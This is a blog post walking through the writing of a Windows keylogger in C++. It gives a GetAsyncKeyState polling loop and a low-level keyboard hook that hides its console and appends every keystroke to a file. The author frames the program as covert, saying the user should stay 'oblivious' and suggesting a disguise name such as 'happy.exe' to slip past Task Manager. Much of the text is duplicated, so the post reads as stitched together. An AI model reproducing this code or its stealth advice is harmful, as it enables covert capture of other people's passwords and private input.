Writing a keylogger application in Windows
This post is a little bit of a side-step. I was looking through the linux programming interface and set myself a task to obtain keyboard input using only unix commands. One problem: I only have access to a windows PC at the moment! While I could use a virtual machine, I thought it would be interesting to try and do the same thing in Windows using various methods.
The code for this post is on my git here.
The first method was to avoid using the Windows API as much as possible. The second was to use the SetWindowsHookEx method.
The only alien command is GetAsyncKeyState. This obtains the current state of the key. Using GetKeyState would be the wrong thing to do as we are not getting into processing messages on the message queue in this method(from SO):
Every time you read a queued keyboard message, for example by calling
This is great! right? Well, no. The first problem is the CPU usage when the program is executing:
100% of CPU cycles on a single thread are being used. If your goal is to have this code running silently on a system this does not achieve it! When the user takes a look at task manager and orders the tasks in terms of most hungry then this guy will be at the top (very likely, near the top at least)! Obviously you could call it "happy.exe", but still.
The problem is that pesky while loop, it just constantly burns cycles. If we had the terminal in view we could use getch() as follows
but we don't want the terminal in view! we need the user to be oblivious to the executable. However this does totally solve our burning thread problem. This is because getch() blocks! The kernel can then divert CPU resources from our running application to something else that needs it.
This solves all of our problems, here is the CPU usage during a run:
Them little spikes you see require me to smash 10+ keys down on the keyboard at once. We mentioned earlier that we did not want to deal with processing messages, now we do. The key to this solution is the function GetMessage, this blocks until there is a message in the windows message queue to process. We could have used PeekMessage, but that would have been very wrong indeed. PeekMessage returns irrespective of whether or not there are messages in the queue and so we have the spin cycle again.
So what happens to these messages when they are dispatched? They are picked up by our hook!
From MSDN:
A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.
DispatchMessage sends the message to the windows procedure (a hidden console window in this case) and is intercepted by our hook, which we set up with SetWindowsHookEx. As with all windows programming stuff, it looks a lot more complicated than it actually is. Googling the commands in our keyboard callback shows that. Obviously, we can make this application more sophisticated by showing backspaces etc.
logception - I am logging the writing of this blog!
DISCLAIMER! - I am not responsible for anything that you might do when you use this code.
The code for this post is on my git here.
The first method was to avoid using the Windows API as much as possible. The second was to use the SetWindowsHookEx method.
Method I
If you look at the code on my github, inside the main function we have something like this
while (1) {
for (char i = 0; i < 127; i++) {
if (GetAsyncKeyState(i) == -32767) { of << i; of.flush(); } }
}
The only alien command is GetAsyncKeyState. This obtains the current state of the key. Using GetKeyState would be the wrong thing to do as we are not getting into processing messages on the message queue in this method(from SO):
Every time you read a queued keyboard message, for example by calling
GetMessage, the OS updates private keyboard state data associated with the calling thread. When you call GetKeyState that private keyboard state data is used to determine the returned key state. Thus, so long as you don't read another queued message, GetKeyState will always return the same value.This is great! right? Well, no. The first problem is the CPU usage when the program is executing:
100% of CPU cycles on a single thread are being used. If your goal is to have this code running silently on a system this does not achieve it! When the user takes a look at task manager and orders the tasks in terms of most hungry then this guy will be at the top (very likely, near the top at least)! Obviously you could call it "happy.exe", but still.
The problem is that pesky while loop, it just constantly burns cycles. If we had the terminal in view we could use getch() as follows
while (1) { of << static_cast<char>(_getch());
of.flush(); }
but we don't want the terminal in view! we need the user to be oblivious to the executable. However this does totally solve our burning thread problem. This is because getch() blocks! The kernel can then divert CPU resources from our running application to something else that needs it.
Method II
I will post (most of) the code first, then we will go through it.
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION) { switch (wParam) { case WM_KEYDOWN: case WM_SYSKEYDOWN: PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam; if ((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN)) { of << static_cast<char>(p->vkCode); of.flush(); }
break; } } return CallNextHookEx(NULL, nCode, wParam, lParam); } int main() { hideConsole(); auto file_name = getFileName(); of.open(file_name.c_str(), std::ofstream::out | std::ofstream::app); if (!of) { std::cerr << "can't open output file" << std::endl; } HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0); MSG msg; while(!GetMessage(&msg, NULL, NULL, NULL)) { TranslateMessage(&msg); DispatchMessage(&msg); } UnhookWindowsHookEx(hhkLowLevelKybd); return(0); }
This solves all of our problems, here is the CPU usage during a run:
Them little spikes you see require me to smash 10+ keys down on the keyboard at once. We mentioned earlier that we did not want to deal with processing messages, now we do. The key to this solution is the function GetMessage, this blocks until there is a message in the windows message queue to process. We could have used PeekMessage, but that would have been very wrong indeed. PeekMessage returns irrespective of whether or not there are messages in the queue and so we have the spin cycle again.
So what happens to these messages when they are dispatched? They are picked up by our hook!
From MSDN:
A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.
DispatchMessage sends the message to the windows procedure (a hidden console window in this case) and is intercepted by our hook, which we set up with SetWindowsHookEx. As with all windows programming stuff, it looks a lot more complicated than it actually is. Googling the commands in our keyboard callback shows that. Obviously, we can make this application more sophisticated by showing backspaces etc.
logception - I am logging the writing of this blog!
DISCLAIMER! - I am not responsible for anything that you might do when you use this code.
Comments
Post a Comment